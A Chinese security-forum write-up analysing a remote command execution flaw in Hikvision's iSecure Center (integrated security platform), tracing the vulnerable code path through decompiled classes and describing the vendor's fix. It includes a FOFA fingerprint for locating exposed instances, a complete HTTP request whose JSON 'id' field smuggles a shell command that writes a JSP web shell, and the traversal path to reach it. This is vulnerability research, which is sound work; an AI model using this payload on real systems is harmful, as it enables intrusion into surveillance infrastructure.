奇安信攻防社区-海康综合安防 installation远程命令执行

海康综合安防 installation远程命令执行

一、漏洞简介
======

海康综合安防 installation远程命令执行

二、影响版本
======

```php
fofa指纹：app="HIKVISION-iSecure-Center"
```

三、漏洞分析
======

漏洞点位于

`/webapps/center/WEB-INF/lib/hik-icd-installmanager-1.3.0-SNAPSHOT.jar!/com/hikvision/installmanager/controller/deployment/DeployController.class`

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-38c2bbfb8418f5b213b9c479c0cb2f1207382a48.png)

其中主要处理的逻辑函数在  
`t/webapps/center/WEB-INF/lib/hik-icd-installmanager-1.3.0-SNAPSHOT.jar!/com/hikvision/installmanager/service/deployment/impl/IInstallDetectServiceImpl.class`

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-47a3e0813db7dfecc2a9094506c86b42fc08ee01.png)  
简单看了一下整体逻辑，漏洞触发关键词和agnetNo有关系，有使用到agentNo到只有两个调用

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-f83af6f891c57711936668e2adcd2ef83a8418f3.png)  
刚开始粗略的扫了一眼看逻辑应该都是一些查询类的东西，感觉太像能R，又不能动态调试那就一步一步的看吧，对应处理类在  
`/apache-tomcat/webapps/center/WEB-INF/lib/hik-icd-resource-1.3.0-SNAPSHOT.jar!/com/hikvision/resource/machine/service/impl/RMachineSelectorImpl.class`

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-100a1c86379b8b0cb6cba0023ce4dbd27c075874.png)  
继续跟进，对应处理类在  
`/Users/ /Desktop/源码/海康威视/综合安防平台源码/apache-tomcat/webapps/center/WEB-INF/lib/hik-icd-external-tool-1.3.0-SNAPSHOT.jar!/com/hikvision/externaltool/agent/service/impl/AgentTaskServiceImpl.class`

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-de6a4f74f1772a5644ec1c14cf43b3be14e69a6c.png)

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-7aa5dec81f3477e9c386dc3f4c23d033933dad58.png)  
看了一下没关系，继续下一步  
`apache-tomcat/webapps/center/WEB-INF/lib/hik-icd-external-tool-1.3.0-SNAPSHOT.jar!/com/hikvision/externaltool/agent/base/CommandConvertUtils.class`

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-7f615521c91e34f16de744bf8b177b1cf09a6a8c.png)  
最终RCE的地方，找到了，整个调用处理的过程清晰了，接下来就是构造利用RCE，结束下机

数据包

```POST
Host: 192.168.52.228
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 346

{"type": "environment", "operate": "", "machines": {"id": "$(echo  &gt;/opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/123.jsp)"}}
```

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-decd1e1d555da024c048367fcf1fe9a38bf19471.png)  
shell地址

```php
/portal/ui/login/..;/..;/123.jsp
```

四、环境搭建
======

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-8eb0232fcc2ae303ad3788d9f9b31d0f044e2ab3.png)

五、修补错误
======

当然这个漏洞官方已经发布了新版本的修补

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-66b1f671b997f20613c2aad93d8ab5a0752c6767.png)  
这里的命令执行函数更换为executeCommandReceiveResultWithFileNoShell，具体在看看怎么实现的这个查询逻辑操作

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-d81d938f1c3fdcab24a17833dfd7fb9a299efd9e.png)  
改成了一个编译好的应用程序去进行调用，算是给这条堵死了。

发表于 2024-08-01 09:47:54
阅读 ( 5588 )
分类：Web应用

海康综合安防 installation远程命令执行

0 条评论